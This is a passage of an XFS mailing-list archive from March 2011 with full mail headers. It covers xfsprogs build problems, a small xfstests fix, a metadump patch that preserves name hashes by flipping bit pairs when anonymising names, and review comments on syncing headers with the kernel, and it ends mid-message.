(helo=doom.schmorp.de) by mail.nethype.de with esmtp (Exim 4.72) (envelope-from ) id 1Pw1Oj-0006ZJ-DY for xfs@oss.sgi.com; Sun, 06 Mar 2011 00:00:33 +0000 Received: from [10.0.0.1] (helo=cerebro.laendle) by doom.schmorp.de with esmtp (Exim 4.72) (envelope-from ) id 1Pw1Oj-0003YA-7F for xfs@oss.sgi.com; Sun, 06 Mar 2011 00:00:33 +0000 Received: from root by cerebro.laendle with local (Exim 4.72) (envelope-from ) id 1Pw1Oj-0007rx-5y for xfs@oss.sgi.com; Sun, 06 Mar 2011 01:00:33 +0100 Date: Sun, 6 Mar 2011 01:00:33 +0100 From: Marc Lehmann To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: git xfsprogs don't build Subject: Re: git xfsprogs don't build Message-ID: <20110306000033.GA14083@schmorp.de> References: <20110304163608.GB2030@schmorp.de> <20110305005253.GA11865@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110305005253.GA11865@infradead.org> X-PGP: "1024D/DA743396 1999-01-26 Marc Alexander Lehmann Key fingerprint = 475A FE9B D1D4 039E 01AC C217 A1E8 0270 DA74 3396" X-Barracuda-Connect: mail.nethype.de[78.47.73.129] X-Barracuda-Start-Time: 1299369635 X-Barracuda-Bayes: INNOCENT GLOBAL 0.3224 1.0000 -0.2563 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -0.26 X-Barracuda-Spam-Status: No, SCORE=-0.26 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57166 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 07:52:53PM -0500, Christoph Hellwig wrote: > On Fri, Mar 04, 2011 at 05:36:08PM +0100, Marc Lehmann wrote: > > That almost certainly means somebody tried to build a shared object or > > library with some object file compiled without -fPIC. > > That function indeed doesn't exist in non-debug builds. But by default > we do not build xfsprogs that way. -fPIC isn't a function, it tells gcc to not generate text relocations - these are not supported on linux amd64. > For now make sure to not have > -DNDEBUG in your CFLAGS, I'll make sure we get a proper fix commited. Well, I didn't have -DNDEBUG in my CFLAGS, but libxfs/Makefile and libxlog/Makefile apparently had them. After removing them, I indeed do not get the linker issue on amd64, but similar errors as on ia32: http://ue.tst.eu/1b84c67209430c03b238b48eae7da108.txt -- The choice of a Deliantra, the free code+content MORPG -----==- _GNU_ http://www.deliantra.net ----==-- _ generation ---==---(_)__ __ ____ __ Marc Lehmann --==---/ / _ \/ // /\ \/ / schmorp@schmorp.de -=====/_/_//_/\_,_/ /_/\_\ From coreyyutq@gmail.com Sun Mar 6 22:53:56 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.8 required=5.0 tests=BAYES_50,FREEMAIL_FROM, HTML_MESSAGE,T_DKIM_INVALID,T_TO_NO_BRKTS_FREEMAIL autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p274rubc106407 for ; Sun, 6 Mar 2011 22:53:56 -0600 X-ASG-Debug-ID: 1299473808-717d02ce0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-ww0-f65.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B34C815845A6 for ; Sun, 6 Mar 2011 20:56:48 -0800 (PST) Received: from mail-ww0-f65.google.com (mail-ww0-f65.google.com [74.125.82.65]) by cuda.sgi.com with ESMTP id TuLdJCOGf1h4Vup2 for ; Sun, 06 Mar 2011 20:56:48 -0800 (PST) Received: by wwb28 with SMTP id 28so669408wwb.8 for ; Sun, 06 Mar 2011 20:56:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:content-type; bh=yFuQKXFKrdpe7MMYMPGk/2em7P4koMi9rfjRdUF94J0=; b=FBFCPqqe9hmwPQk6YaJgx9bmK3pjyOtBmuUm4ab5Vr+ofZ1BbxvAasY8Qu3IwiiM9s qj6SXaCHVwHCLyAxIfaR+MfB4Ql69zAl3ZgDwzfoSYMMb7ROiInjDzemrHtOF2d9bcUF sjtSLwIRpml+AqYMkNi7qwmRxvAt8aoA3rPZ4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=bcc:mime-version:in-reply-to:references:date:message-id:subject :from:to:content-type; b=Kr/uWYTdGrJ4vGmNYwIiCZL/62pq3X7ui31ZhqiscPr2MXEuyyiKBkJS5PzY9Tt0eR E8c3SxHYedvWpDCplXe78O9Xjcp3oC2Znsu/hy/Pfw2LJDLhSNiNbscXu+kNLbKWsYRl jT3+OQyfvRZEd/xdlk3282XXYzG1DRHn9TeJY= MIME-Version: 1.0 Received: by 10.216.1.149 with SMTP id 21mr1992359wed.10.1299473774959; Sun, 06 Mar 2011 20:56:14 -0800 (PST) Received: by 10.216.159.1 with HTTP; Sun, 6 Mar 2011 20:56:14 -0800 (PST) In-Reply-To: References: Date: Mon, 7 Mar 2011 12:56:14 +0800 Message-ID: X-ASG-Orig-Subj: hi Subject: hi From: 3U Pet Supply To: Coreyyutq@gmail.com Content-Type: multipart/alternative; boundary=001636499a4bc0738a049ddd5046 X-Barracuda-Connect: mail-ww0-f65.google.com[74.125.82.65] X-Barracuda-Start-Time: 1299473809 X-Barracuda-Bayes: INNOCENT GLOBAL 0.4698 1.0000 0.0000 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 1.51 X-Barracuda-Spam-Status: No, SCORE=1.51 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC0_MJ1576, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57281 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 1.50 BSF_SC0_MJ1576 Custom Rule MJ1576 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --001636499a4bc0738a049ddd5046 Content-Type: text/plain; charset=ISO-8859-1 hi, this is Jeff Wu from China. We are a factory of pet products, please let me know if you are interested. We can send the catalogues of our products to you. --001636499a4bc0738a049ddd5046 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

hi, this is Jeff Wu from Chi= na. We are a factory of pet products, please let me know if you are interes= ted. We can send the catalogues of our products to you.






--001636499a4bc0738a049ddd5046-- From branto@redhat.com Mon Mar 7 09:23:07 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27FN7un160758 for ; Mon, 7 Mar 2011 09:23:07 -0600 X-ASG-Debug-ID: 1299511560-2d88034c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4021E1EB93E6 for ; Mon, 7 Mar 2011 07:26:00 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id yVx75vsqKFlshDUJ for ; Mon, 07 Mar 2011 07:26:00 -0800 (PST) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p27FQ0pK010363 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 7 Mar 2011 10:26:00 -0500 Received: from [10.34.26.208] (dhcp-26-208.brq.redhat.com [10.34.26.208]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p27FPwvg013179 for ; Mon, 7 Mar 2011 10:25:59 -0500 X-ASG-Orig-Subj: xfstests: change directory to / before _cleanup_testdir in test 135 Subject: xfstests: change directory to / before _cleanup_testdir in test 135 From: Boris Ranto To: xfs Content-Type: text/plain; charset="UTF-8" Date: Mon, 07 Mar 2011 16:25:58 +0100 Message-ID: <1299511558.3183.115.camel@dhcp-31-190.brq.redhat.com> Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1299511561 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Nfs tries to umount $testdir in _cleanup_testdir function. The test 135 calls the function from directory $SCRATCH_MNT that is equal to $testdir (at least for nfs). The umount will therefore fail causing the test to fail due to the output mismatch. This simple patch fixes the issue for me. Signed-off-by: Boris Ranto diff -urpN a/xfstests/135 b/xfstests/135 --- a/xfstests/135 2011-03-07 14:54:15.855172101 +0100 +++ b/xfstests/135 2011-03-07 14:54:29.895048375 +0100 @@ -34,6 +34,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 1 _cleanup() { + cd / _cleanup_testdir } From aelder@sgi.com Mon Mar 7 11:36:29 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_64, T_FILL_THIS_FORM_SHORT autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27HaSF2168404 for ; Mon, 7 Mar 2011 11:36:28 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7E1FAAC002; Mon, 7 Mar 2011 09:39:19 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 7 Mar 2011 11:39:18 -0600 Subject: [PATCH v4, 14/16] xfsprogs: metadump: fix duplicate handling once and for all From: Alex Elder Reply-To: aelder@sgi.com To: xfs@oss.sgi.com Cc: david@fromorbit.com Content-Type: text/plain; charset="UTF-8" Date: Mon, 07 Mar 2011 11:39:18 -0600 Message-ID: <1299519558.2578.322.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Mar 2011 17:39:18.0974 (UTC) FILETIME=[962845E0:01CBDCEE] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This is a case where I think I've solved a problem to death. The metadump code now stops rather than spinning forever in the face of finding no obfuscated name that hasn't already been seen. Instead, it simply gives up and passes the original name back to use without obfuscation. Unfortunately, as a result it actually creates entries with duplicate names in a directory (or inode attribute fork). And at least in the case of directories, xfs_mdrestore(8) will populate the directory it restores with duplicate entries. That even seems to work, but xfs_repair(8) does identify this as a problem and fixes it (by moving duplicates to "lost+found"). This might have been OK, given that it was a rare occurence. But it's possible, with short (5-character) names, for the obfuscation algorithm to come up with only a single possible alternate name, and I felt that was just not acceptable. This patch fixes all that by creating a way to generate alternate names directly from existing names by carefully flipping pairs of bits in the characters making up the name. The first change is that a name is only ever obfuscated once. If the obfuscated name can't be used, an alternate is computed based on that name rather than re-starting the obfuscation process. (Names shorter than 5 characters are still not obfuscated.) Second, once a name is selected for use (obfuscated or not), it is checked for duplicates. The name table is consulted to see if it has already been seen, and if it has, an alternate for that name is created (a different name of the same length that has the same hash value). That name is checked in the name table, and if it too is already there the process repeats until an unused one is found. Third, alternates are generated methodically rather than by repeatedly trying to come up with new random names. A sequence number uniquely defines a particular alternate name, given an existing name. (Note that some of those alternates aren't valid because they contain at least one unallowed character.) Finally, because all names are now maintained in the name table, and because of the way alternates are generated, it's actually possible for short names to get modified in order to avoid duplicates. The algorithm for doing all of this is pretty well explained in the comments in the code itself, so I'll avoid duplicating any more of that here. Updates since last posting: - Definition of ARRAY_SIZE() macro moved to "include/libxfs.h" - Added some more background commentary: - About the details of operation in flip_bit(). Specifically, that the table can be expanded as needed, but that it is already way bigger than practically necessary (and why it is that way). - About the number of alternates available as the length of a name increases. - That the key cases we're interested in are names that are around 5 characters in length. Less than that it's not very important because we don't obfuscate the name, and greater than that the odds of the result of conflicting with an existing name are small. - Basically, the density of meaning in this code is kind of high, so it warrants a lot more comments to help make what it's doing more apparent. So I fleshed this out, as requested by Dave. Signed-off-by: Alex Elder --- db/metadump.c | 288 ++++++++++++++++++++++++++++++++++++++++++++++++++++--- include/libxfs.h | 3 2 files changed, 278 insertions(+), 13 deletions(-) Index: b/db/metadump.c =================================================================== --- a/db/metadump.c +++ b/db/metadump.c @@ -553,34 +553,296 @@ obfuscate_name( } /* + * Flip a bit in each of two bytes at the end of the given name. + * This is used in generating a series of alternate names to be used + * in the event a duplicate is found. + * + * The bits flipped are selected such that they both affect the same + * bit in the name's computed hash value, so flipping them both will + * preserve the hash. + * + * The following diagram aims to show the portion of a computed + * hash that a given byte of a name affects. + * + * 31 28 24 21 14 8 7 3 0 + * +-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-+ + * hash: | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | + * +-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-|-+-+-+-+-+-+-+-+ + * last-4 ->| |<-- last-2 --->| |<--- last ---->| + * |<-- last-3 --->| |<-- last-1 --->| |<- last-4 + * |<-- last-7 --->| |<-- last-5 --->| + * |<-- last-8 --->| |<-- last-6 --->| + * . . . and so on + * + * The last byte of the name directly affects the low-order byte of + * the hash. The next-to-last affects bits 7-14, the next one back + * affects bits 14-21, and so on. The effect wraps around when it + * goes beyond the top of the hash (as happens for byte last-4). + * + * Bits that are flipped together "overlap" on the hash value. As + * an example of overlap, the last two bytes both affect bit 7 in + * the hash. That pair of bytes (and their overlapping bits) can be + * used for this "flip bit" operation (it's the first pair tried, + * actually). + * + * A table defines overlapping pairs--the bytes involved and bits + * within them--that can be used this way. The byte offset is + * relative to a starting point within the name, which will be set + * to affect the bytes at the end of the name. The function is + * called with a "bitseq" value which indicates which bit flip is + * desired, and this translates directly into selecting which entry + * in the bit_to_flip[] table to apply. + * + * The function returns 1 if the operation was successful. It + * returns 0 if the result produced a character that's not valid in + * a name (either '/' or a '\0'). Finally, it returns -1 if the bit + * sequence number is beyond what is supported for a name of this + * length. + * + * Discussion + * ---------- + * (Also see the discussion above find_alternate(), below.) + * + * In order to make this function work for any length name, the + * table is ordered by increasing byte offset, so that the earliest + * entries can apply to the shortest strings. This way all names + * are done consistently. + * + * When bit flips occur, they can convert printable characters + * into non-printable ones. In an effort to reduce the impact of + * this, the first bit flips are chosen to affect bytes the end of + * the name (and furthermore, toward the low bits of a byte). Those + * bytes are often non-printable anyway because of the way they are + * initially selected by obfuscate_name()). This is accomplished, + * using later table entries first. + * + * Each row in the table doubles the number of alternates that + * can be generated. A two-byte name is limited to using only + * the first row, so it's possible to generate two alternates + * (the original name, plus the alternate produced by flipping + * the one pair of bits). In a 5-byte name, the effect of the + * first byte overlaps the last by 4 its, and there are 8 bits + * to flip, allowing for 256 possible alternates. + * + * Short names (less than 5 bytes) are never even obfuscated, so for + * such names the relatively small number of alternates should never + * really be a problem. + * + * Long names (more than 6 bytes, say) are not likely to exhaust + * the number of available alternates. In fact, the table could + * probably have stopped at 8 entries, on the assumption that 256 + * alternates should be enough for most any situation. The entries + * beyond those are present mostly for demonstration of how it could + * be populated with more entries, should it ever be necessary to do + * so. + */ +static int +flip_bit( + size_t name_len, + uchar_t *name, + uint32_t bitseq) +{ + int index; + size_t offset; + uchar_t *p0, *p1; + uchar_t m0, m1; + struct { + int byte; /* Offset from start within name */ + uchar_t bit; /* Bit within that byte */ + } bit_to_flip[][2] = { /* Sorted by second entry's byte */ + { { 0, 0 }, { 1, 7 } }, /* Each row defines a pair */ + { { 1, 0 }, { 2, 7 } }, /* of bytes and a bit within */ + { { 2, 0 }, { 3, 7 } }, /* each byte. Each bit in */ + { { 0, 4 }, { 4, 0 } }, /* a pair affects the same */ + { { 0, 5 }, { 4, 1 } }, /* bit in the hash, so flipping */ + { { 0, 6 }, { 4, 2 } }, /* both will change the name */ + { { 0, 7 }, { 4, 3 } }, /* while preserving the hash. */ + { { 3, 0 }, { 4, 7 } }, + { { 0, 0 }, { 5, 3 } }, /* The first entry's byte offset */ + { { 0, 1 }, { 5, 4 } }, /* must be less than the second. */ + { { 0, 2 }, { 5, 5 } }, + { { 0, 3 }, { 5, 6 } }, /* The table can be extended to */ + { { 0, 4 }, { 5, 7 } }, /* an arbitrary number of entries */ + { { 4, 0 }, { 5, 7 } }, /* but there's not much point. */ + /* . . . */ + }; + + /* Find the first entry *not* usable for name of this length */ + + for (index = 0; index < ARRAY_SIZE(bit_to_flip); index++) + if (bit_to_flip[index][1].byte >= name_len) + break; + + /* + * Back up to the last usable entry. If that number is + * smaller than the bit sequence number, inform the caller + * that nothing this large (or larger) will work. + */ + if (bitseq > --index) + return -1; + + /* + * We will be switching bits at the end of name, with a + * preference for affecting the last bytes first. Compute + * where in the name we'll start applying the changes. + */ + offset = name_len - (bit_to_flip[index][1].byte + 1); + index -= bitseq; /* Use later table entries first */ + + p0 = name + offset + bit_to_flip[index][0].byte; + p1 = name + offset + bit_to_flip[index][1].byte; + m0 = 1 << bit_to_flip[index][0].bit; + m1 = 1 << bit_to_flip[index][1].bit; + + /* Only change the bytes if it produces valid characters */ + + if (is_invalid_char(*p0 ^ m0) || is_invalid_char(*p1 ^ m1)) + return 0; + + *p0 ^= m0; + *p1 ^= m1; + + return 1; +} + +/* + * This function generates a well-defined sequence of "alternate" + * names for a given name. An alternate is a name having the same + * length and same hash value as the original name. This is needed + * because the algorithm produces only one obfuscated name to use + * for a given original name, and it's possible that result matches + * a name already seen. This function checks for this, and if it + * occurs, finds another suitable obfuscated name to use. + * + * Each bit in the binary representation of the sequence number is + * used to select one possible "bit flip" operation to perform on + * the name. So for example: + * seq = 0: selects no bits to flip + * seq = 1: selects the 0th bit to flip + * seq = 2: selects the 1st bit to flip + * seq = 3: selects the 0th and 1st bit to flip + * ... and so on. + * + * The flip_bit() function takes care of the details of the bit + * flipping within the name. Note that the "1st bit" in this + * context is a bit sequence number; i.e. it doesn't necessarily + * mean bit 0x02 will be changed. + * + * If a valid name (one that contains no '/' or '\0' characters) is + * produced by this process for the given sequence number, this + * function returns 1. If the result is not valid, it returns 0. + * Returns -1 if the sequence number is beyond the the maximum for + * names of the given length. + * + * + * Discussion + * ---------- + * The number of alternates available for a given name is dependent + * on its length. A "bit flip" involves inverting two bits in + * a name--the two bits being selected such that their values + * affect the name's hash value in the same way. Alternates are + * thus generated by inverting the value of pairs of such + * "overlapping" bits in the original name. Each byte after the + * first in a name adds at least one bit of overlap to work with. + * (See comments above flip_bit() for more discussion on this.) + * + * So the number of alternates is dependent on the number of such + * overlapping bits in a name. If there are N bit overlaps, there + * 2^N alternates for that hash value. + * + * Here are the number of overlapping bits available for generating + * alternates for names of specific lengths: + * 1 0 (must have 2 bytes to have any overlap) + * 2 1 One bit overlaps--so 2 possible alternates + * 3 2 Two bits overlap--so 4 possible alternates + * 4 4 Three bits overlap, so 2^3 alternates + * 5 8 8 bits overlap (due to wrapping), 256 alternates + * 6 18 2^18 alternates + * 7 28 2^28 alternates + * ... + * It's clear that the number of alternates grows very quickly with + * the length of the name. But note that the set of alternates + * includes invalid names. And for certain (contrived) names, the + * number of valid names is a fairly small fraction of the total + * number of alternates. + * + * The main driver for this infrastructure for coming up with + * alternate names is really related to names 5 (or possibly 6) + * bytes in length. 5-byte obfuscated names contain no randomly- + * generated bytes in them, and the chance of an obfuscated name + * matching an already-seen name is too high to just ignore. This + * methodical selection of alternates ensures we don't produce + * duplicate names unless we have exhausted our options. + */ +static int +find_alternate( + size_t name_len, + uchar_t *name, + uint32_t seq) +{ + uint32_t bitseq = 0; + uint32_t bits = seq; + + if (!seq) + return 1; /* alternate 0 is the original name */ + if (name_len < 2) /* Must have 2 bytes to flip */ + return -1; + + for (bitseq = 0; bits; bitseq++) { + uint32_t mask = 1 << bitseq; + int fb; + + if (!(bits & mask)) + continue; + + fb = flip_bit(name_len, name, bitseq); + if (fb < 1) + return fb ? -1 : 0; + bits ^= mask; + } + + return 1; +} + +/* * Look up the given name in the name table. If it is already - * present, find an alternate and attempt to use that name instead. + * present, iterate through a well-defined sequence of alternate + * names and attempt to use an alternate name instead. * * Returns 1 if the (possibly modified) name is not present in the - * name table. Returns 0 otherwise. + * name table. Returns 0 if the name and all possible alternates + * are already in the table. */ static int handle_duplicate_name(xfs_dahash_t hash, size_t name_len, uchar_t *name) { - int dup = 0; + uchar_t new_name[name_len + 1]; + uint32_t seq = 1; if (!nametable_find(hash, name_len, name)) - return 1; /* Not already in table */ + return 1; /* No duplicate */ /* Name is already in use. Need to find an alternate. */ do { - obfuscate_name(hash, name_len, name); + int found; - /* - * Search the name table to be sure we don't produce - * a name that's already been used. - */ - if (!nametable_find(hash, name_len, name)) - break; - } while (++dup < DUP_MAX); + /* Only change incoming name if we find an alternate */ + do { + memcpy(new_name, name, name_len); + found = find_alternate(name_len, new_name, seq++); + if (found < 0) + return 0; /* No more to check */ + } while (!found); + } while (nametable_find(hash, name_len, new_name)); - return dup < DUP_MAX ? 1 : 0; + /* + * The alternate wasn't in the table already. Pass it back + * to the caller. + */ + memcpy(name, new_name, name_len); + + return 1; } static void Index: b/include/libxfs.h =================================================================== --- a/include/libxfs.h +++ b/include/libxfs.h @@ -55,6 +55,9 @@ #include #include +#ifndef ARRAY_SIZE +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) +#endif #ifndef XFS_SUPER_MAGIC #define XFS_SUPER_MAGIC 0x58465342 From aelder@sgi.com Mon Mar 7 12:11:54 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27IBsSn172055 for ; Mon, 7 Mar 2011 12:11:54 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0F6318F8081; Mon, 7 Mar 2011 10:14:45 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Mon, 7 Mar 2011 12:14:45 -0600 Subject: Re: [PATCH 0/3] xfsprogs: sync up with 2.6.38 kernel code V2 From: Alex Elder Reply-To: aelder@sgi.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20110214063042.GL2559@dastard> References: <1294649091-27174-1-git-send-email-david@fromorbit.com> <20110214063042.GL2559@dastard> Content-Type: text/plain; charset="UTF-8" Date: Mon, 07 Mar 2011 12:14:44 -0600 Message-ID: <1299521684.2578.457.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 07 Mar 2011 18:14:45.0425 (UTC) FILETIME=[899EF210:01CBDCF3] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-02-14 at 17:30 +1100, Dave Chinner wrote: > I just updated these patches at: > > git://git.kernel.org/pub/scm/fs/xfs/xfsprogs-dev kernel-2.6.38-sync > > With all the review comments addressed. It looks to me like you may not have done much with the third patch since I first reviewed it. I'm not going to spend as much time on it this time around, but I will try to condense my original response into a more useful form than the first time. Please consider my suggestions below. But even if you don't address everything I'm OK with it, provided we ensure we do as much test coverage as possible. Reviewed-by: Alex Elder 1) Please verify that the updated user space files match an up-to-date version of the kernel headers. 2) Many of the files become identical to their kernel counterparts with this update. Can you create a script that verifies that it's still the case? That will also serve the purpose of documenting which files are identical now. 3) Why are you dropping the use of the symbols XFS_DINODE_VERSION_1 and XFS_DINODE_VERSION_2 in favor of just using 1 and 2? (I guess I'm OK with it, but wanted to call it out anyway.) A few things on specific files follow. I've dropped a few of the things I commented on the first time around. > diff --git a/include/xfs_fs.h b/include/xfs_fs.h > index 47c1e93..faac5af 100644 > --- a/include/xfs_fs.h > +++ b/include/xfs_fs.h This file looks good. It is now nearly identical to the kernel version, with these exceptions: - This version includes the definition of bstat_get_projid(). It's used once, but it should be deleted and the one use should be converted to use xfs_get_projid() if that can be arranged. - XFS_IOC_FREEZE and XFS_IOC_THAW are still defined in this version. The code that uses it here could possibly be converted to use the Linux generic FIFREEZE and FITHAW instead. > diff --git a/include/xfs_inode.h b/include/xfs_inode.h > index 7e6fc91..ca56544 100644 > --- a/include/xfs_inode.h > +++ b/include/xfs_inode.h Here is how this file differs from the kernel: version. - Missing "xfs: add lockdep annotations for the rt inodes" - And there are a few lines where prototypes differ (struct versus typedef usage). > diff --git a/include/xfs_mount.h b/include/xfs_mount.h > index ff200d1..94a02e1 100644 > --- a/include/xfs_mount.h > +++ b/include/xfs_mount.h Here is how this file differs from the kernel: - The perag_get/put function declarations sit in different parts of the file. > diff --git a/libxfs/xfs_inode.c b/libxfs/xfs_inode.c > index 1c9ea3b..e4474fd 100644 > --- a/libxfs/xfs_inode.c > +++ b/libxfs/xfs_inode.c . . . > @@ -266,55 +277,65 @@ xfs_iformat( . . . > + if (unlikely((ip->i_d.di_flags & XFS_DIFLAG_REALTIME) && > + !ip->i_mount->m_rtdev)) { !ip->i_mount->m_rtdev_targp With the exception of this, this function is identical to the kernel version. I don't know why there's this difference. From BATV+8148073a850901a3f486+2752+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 7 12:21:42 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p27ILfvF172418 for ; Mon, 7 Mar 2011 12:21:42 -0600 X-ASG-Debug-ID: 1299522275-0bb1006e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 830001B018D6; Mon, 7 Mar 2011 10:24:35 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id F2FxYbXH6FbNVgY0; Mon, 07 Mar 2011 10:24:35 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Pwf6d-0005Tl-Jx; Mon, 07 Mar 2011 18:24:31 +0000 Date: Mon, 7 Mar 2011 13:24:31 -0500 From: Christoph Hellwig To: Alex Elder Cc: Dave Chinner , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 0/3] xfsprogs: sync up with 2.6.38 kernel code V2 Subject: Re: [PATCH 0/3] xfsprogs: sync up with 2.6.38 kernel code V2 Message-ID: <20110307182431.GA3527@infradead.org> References: <1294649091-27174-1-git-send-email-david@fromorbit.com> <20110214063042.GL2559@dastard> <1299521684.2578.457.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299521684.2578.457.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299522275 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, Mar 07, 2011 at 12:14:44PM -0600, Alex Elder wrote: > 3) Why are you dropping the use of the symbols > XFS_DINODE_VERSION_1 and 